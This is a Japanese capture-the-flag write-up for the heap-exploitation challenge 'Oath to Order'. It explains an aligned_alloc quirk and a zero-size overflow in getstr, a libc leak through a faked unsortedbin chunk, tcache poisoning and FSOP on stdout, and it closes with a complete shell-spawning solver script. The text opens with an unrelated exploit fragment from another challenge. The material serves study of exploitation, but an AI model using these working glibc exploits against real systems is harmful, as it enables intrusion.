libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
sock = Process("../distfiles/chall")

payload  = b'A'*0x7d8
payload += p64(0x404005) # tls_dtor_list = rbp
payload += b'A'*0x60
payload += p64(0x404000) # thread futex
payload += b'\x00'*0x18
payload += p64(0x4012c3) # xor key
payload += b'A'*0x100

sock.sendlineafter("size: ", str(len(payload)))
sock.sendlineafter("data: ", payload)
libc.base = u64(sock.recvonce(8)) - 0x21af00

payload  = p64(next(libc.gadget("ret"))) * 0x41
payload += p64(next(libc.gadget("pop rdi; ret;")))
payload += p64(next(libc.find("/bin/sh")))
payload += p64(libc.symbol("system"))
payload += b'B'*(0x870 - len(payload))
payload += p64(0x404800) # tls_dtor_list = rbp
payload += b'C'*0x60
payload += p64(0x404000) # thread futex
payload += b'\x00'*0x18
payload += p64(next(libc.gadget("add rsp, 0xa8; ret;"))) # xor key
sock.sendline(payload)

sock.sh()

Oath to Order

問題著者:keymoon, ptr-yudai / Writeup著者:ptr-yudai

問題概要

Ubuntu 22.04で動作する64-bitのプログラムが攻撃対象です。

$ checksec chall
[*] '/home/ptr/ricsec/2023/ricerca-ctf-2023-public/pwn/oath_to_order/distfiles/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

この問題はいわゆるnote系の問題で、ヒープに関する知識が問われます。プログラムを起動してみると、次のようにデータを確保、出力できる機能があります。

$ ./chall 
1. Create
2. Show
> 1
index: 0
size: 123
alignment: 128
note: Hello
1. Create
2. Show
> 2
index: 0
Hello

一般的なnote系の問題と比べると、以下の特徴があります。

  • freeに該当する機能が提供されていない。
  • データ確保時に、サイズの他にalignmentという項目を入力する。

解法

aligned_alloc

この問題の一番の特徴は、alignmentにあります。配布されたソースコードを読むと、noteは次のように確保されています。

void create(void) {
  unsigned idx, size, alignment;

  print("index: ");
  if ((idx = getint()) >= NOTE_LEN) {
    print("invalid index\n");
    return;
  }

  print("size: ");
  if ((size = getint()) >= MAX_SIZE) {
    print("invalid size\n");
    return;
  }

  print("alignment: ");
  if ((alignment = getint()) >= MAX_SIZE) {
    print("invalid alignment\n");
    return;
  }

  notes[idx] = aligned_alloc(alignment, size);

  print("note: ");
  getstr(notes[idx], size);
}

見慣れない aligned_alloc という関数が登場しています。この関数は malloc と同様に、指定サイズのデータ領域をヒープ上に確保します。第一引数に与える alignment は、この関数が返却するアドレスが、その値でアラインされている(倍数になっている)ことを保証します。ただし、 64-bitの場合 alignment は0x10 * 2^nの形である必要があります。

ソースコードを読んでみましょう。

static void *
_mid_memalign (size_t alignment, size_t bytes, void *address)
{
  mstate ar_ptr;
  void *p;

  /* If we need less alignment than we give anyway, just relay to malloc.  */
  if (alignment <= MALLOC_ALIGNMENT)
    return __libc_malloc (bytes);

  /* Otherwise, ensure that it is at least a minimum chunk size */
  if (alignment < MINSIZE)
    alignment = MINSIZE;

  /* If the alignment is greater than SIZE_MAX / 2 + 1 it cannot be a
     power of 2 and will cause overflow in the check below.  */
  if (alignment > SIZE_MAX / 2 + 1)
    {
      __set_errno (EINVAL);
      return 0;
    }

  /* Make sure alignment is power of 2.  */
  if (!powerof2 (alignment))
    {
      size_t a = MALLOC_ALIGNMENT * 2;
      while (a < alignment)
        a <<= 1;
      alignment = a;
    }

  if (SINGLE_THREAD_P)
    {
      p = _int_memalign (&main_arena, alignment, bytes);
      assert (!p || chunk_is_mmapped (mem2chunk (p)) ||
	      &main_arena == arena_for_chunk (mem2chunk (p)));
      return tag_new_usable (p);
    }

  arena_get (ar_ptr, bytes + alignment + MINSIZE);

  p = _int_memalign (ar_ptr, alignment, bytes);
  if (!p && ar_ptr != NULL)
    {
      LIBC_PROBE (memory_memalign_retry, 2, bytes, alignment);
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      p = _int_memalign (ar_ptr, alignment, bytes);
    }

  if (ar_ptr != NULL)
    __libc_lock_unlock (ar_ptr->mutex);
  assert (!p || chunk_is_mmapped (mem2chunk (p)) ||
          ar_ptr == arena_for_chunk (mem2chunk (p)));

  return tag_new_usable (p);
}

まず注目すべき点として、 alignmentMALLOC_ALIGNMENT 以下である場合、つまり0x10バイトでアラインする場合は通常の malloc と変わらないため、 __libc_malloc が呼ばれます。それ以外の場合、どのパスを通っても _int_memalign でチャンクが確保されます。この関数は _int から始まる内部関数ですので、こちらが呼ばれた場合は _int_malloc 側の処理が走ることになります。つまり、 alignment の値によってtcacheが使われるかが変わります。

次に、 _int_memalign のコードを少し読んでみましょう。

      /* Otherwise, give back leader, use the rest */
      set_head (newp, newsize | PREV_INUSE |
                (av != &main_arena ? NON_MAIN_ARENA : 0));
      set_inuse_bit_at_offset (newp, newsize);
      set_head_size (p, leadsize | (av != &main_arena ? NON_MAIN_ARENA : 0));
      _int_free (av, p, 1);
      p = newp;
...
  /* Also give back spare room at the end */
  if (!chunk_is_mmapped (p))
    {
      size = chunksize (p);
      if ((unsigned long) (size) > (unsigned long) (nb + MINSIZE))
        {
          remainder_size = size - nb;
          remainder = chunk_at_offset (p, nb);
          set_head (remainder, remainder_size | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));
          set_head_size (p, nb);
          _int_free (av, remainder, 1);
        }
    }

_int_free がところどころに現れています。メモリをアラインして確保する場合、チャンクの前後に使われない領域が発生する可能性があります。 _int_memalign ではこの領域を解放することで、他の malloc で使えるように切り出しています。

したがって、今回の問題にfree機能はありませんでしたが、 aligned_alloc の内部で実質的にfreeが発生することになります。ただし、 _int_free なのでtcacheが使われないという点には注意しましょう。

脆弱性

脆弱性は非常に単純で、入力を受け取る getstr 関数にあります。

void getstr(char *buf, unsigned size) {
  while (--size) {
    if (read(STDIN_FILENO, buf, sizeof(char)) != sizeof(char))
      exit(1);
    else if (*buf == '\n')
      break;
    buf++;
  }

  *buf = '\0';
}

size が0のとき、改行コードを送るまでデータを送り続けられることがわかります。したがって、Heap Buffer Overflowの脆弱性があります。

方針

Heap Buffer Overflowを今回の制約で任意アドレス書き込みにつなげるためには、少し見通しをよくしてからexploitを書く必要があります。具体的には、以下の2つのパートについて方針を立てましょう。

  1. libcのアドレスリーク
  2. tcache poisoning

ゴールから逆算するために、まず2について考えます。任意アドレス書き込みを実現するためにはtcache poisoningをするのが実用的です。前述したように aligned_alloc ではtcacheを使うパスもあり、都合が良さそうです。しかし、freeはすべて _int_free で発生するため、tcacheにチャンクをリンクさせるのは困難です(注釈: __libc_malloc の中にfreeを呼び出すパスはあるので、可能ではありますが煩雑になります。)。

ここで、 aligned_alloc が通常 _int_memalign を呼ぶ、すなわちtcacheを使わないことに着目します。tcacheの管理領域は初めてtcacheが使われたとき(初めて __libc_malloc が呼ばれたとき)に作成されます。したがって、今回の問題ではtcacheの管理領域よりも低いアドレスに _int_malloc で作成されたチャンクを差し込むことが可能です。Heap Buffer Overflowと組み合わせるとtcacheの管理領域を自由に書き換えられるため、任意アドレス書き込みが実現できそうです。

次に1について考えます。libc-2.35ではSafe Linkingが有効ですが、tcacheの管理領域にあるポインタは暗号化されないので、ヒープのアドレスを知る必要はありません。最低限libcのアドレスが得られれば十分です。tcacheは2で初めて使うので、libcのアドレスリークはfastbin, unsortedbin, smallbin, largebinを使って実現する必要があります。

今回は、unsortedbinサイズの巨大なチャンクをfreeする際、そのサイズ情報を事前にHeap Buffer Overflowで書き換えておくことで、本来より大きなサイズのチャンクがfreeされたと判断させます。これにより、別のチャンクを含む領域がfreeされます。図で表すと次の赤枠の領域がfreeされたと判断されます。

 

unsortedbinにリンクされたチャンクは、fdとbkの2つのポインタを持ちます。リストの最後尾にあるチャンクはtop、すなわち main_arena の内部へのポインタを持っています。このアドレスと、「生きている」チャンク(図のchunk 3)が重なれば、show機能によってlibcのアドレスをリークできます。

実際にはメモリアロケータのチェックをくぐり抜けて偽サイズのチャンクをfreeさせるために、ヒープレイアウトを工夫して用意しなくてはなりません。gdbでメモリの様子を確認しながら、慎重にexploitを書きましょう。

ソルバ

以下は上記方針を実装したソルバです。libc-2.35では __free_hook のような便利な関数ポインタがないので、 stdout のFILE構造体を破壊してFSOP(File Structure Oriented Programming)/bin/sh を呼び出しています。なお、このソルバ ではptrlibを利用しています。

from ptrlib import *
import os

HOST = os.getenv('HOST', 'localhost')
PORT = int(os.getenv('PORT', 9003))

def create(ind, size, alignment, content, newline=True):
  sock.sendlineafter('> ', '1')
  sock.sendlineafter(': ', ind)
  sock.sendlineafter(': ', size)
  sock.sendlineafter(': ', alignment)
  if newline:
      sock.sendlineafter(': ', content)
  else:
      sock.sendafter(': ', content)

def show(ind):
  sock.sendlineafter('> ', '2')
  sock.sendlineafter(': ', ind)
  return sock.recvuntil(b'\n1.', drop=True)

libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
#sock = Process("./chall")
sock = Socket(HOST, PORT)

create(0, 0x18, 0x80, b"A"*0x10)
create(0, 0x18, 0x100, b"B"*0x10)
create(0, 0x18, 0x100, b"C"*0x10)
create(0, 0x18, 0x100, b"D"*0x10)
create(0, 0x18, 0x100, b"E"*0x10)
create(0, 0x128, 0x120, b"F"*0x100 + p64(0x4f0) + p64(0x51))
create(0, 0x128, 0x120, b"F"*0x120)
create(0, 0xb8-0x20-0x20, 0x20, p64(0) + p64(0xdeadbeef) + p64(0)*2)
payload  = b"0"*0x18
payload += p64(0x61)
payload += b"1"*0x58
payload += p64(0x21)
payload += b"C"*0x18
payload += p64(0x4f1)
create(0, 0, 0x80, payload)
create(0, 0xc8-0x20-0x20, 0x20, b"X"*0x10)
create(1, 0x48, 0x20, b"a"*0x40)
create(2, 0x48, 0x20, b"a"*0x40)
create(0, 0x18, 0x20, b"b"*0x0)
create(0, 0x18, 0x20, b"b"*0x0)
create(0, 0x18, 0x20, b"b"*0x0)
create(0, 0x18, 0x20, b"b"*0x0)

libc.base = u64(show(1)) - libc.main_arena() - 0x60
create(0, 0x18, 299, b"A"*0x10)
heap_base = u64(show(2)) - 0x310
logger.info("heap = " + hex(heap_base))

create(0, 0x18, 0, "neko")
payload  = b"2" * 0x100
payload += p16(0x0101) * 0x40
payload += p64(libc.symbol('_IO_2_1_stdout_')) * 0x40
create(0, 0, 0x20, payload)
addr_IO_wfile_jumps = libc.base + 0x2160c0
fake_file = flat([
    0x3b01010101010101, u64(b"/bin/sh\0"), # flags / rptr
    0, 0, # rend / rbase
    0, 1, # wbase / wptr
    0, 0, # wend / bbase
    0, 0, # bend / savebase
    0, 0, # backupbase / saveend
    0, 0, # marker / chain
], map=p64)
fake_file += p64(libc.symbol("system")) # __doallocate
fake_file += b'\x00' * (0x88 - len(fake_file))
fake_file += p64(libc.base + 0x21ba70) # lock
fake_file += b'\x00' * (0xa0 - len(fake_file))
fake_file += p64(libc.symbol("_IO_2_1_stdout_")) # wide_data
fake_file += b'\x00' * (0xd8 - len(fake_file))
fake_file += p64(libc.base + 0x2160c0) # vtable (_IO_wfile_jumps)
fake_file += p64(libc.symbol("_IO_2_1_stdout_") + 8) # _wide_data->_wide_vtable
assert len(fake_file) < 0x100
create(0, 0x100, 0, fake_file)

sock.sendline("\ncat /flag-*")
print(sock.recvuntil(b"}"))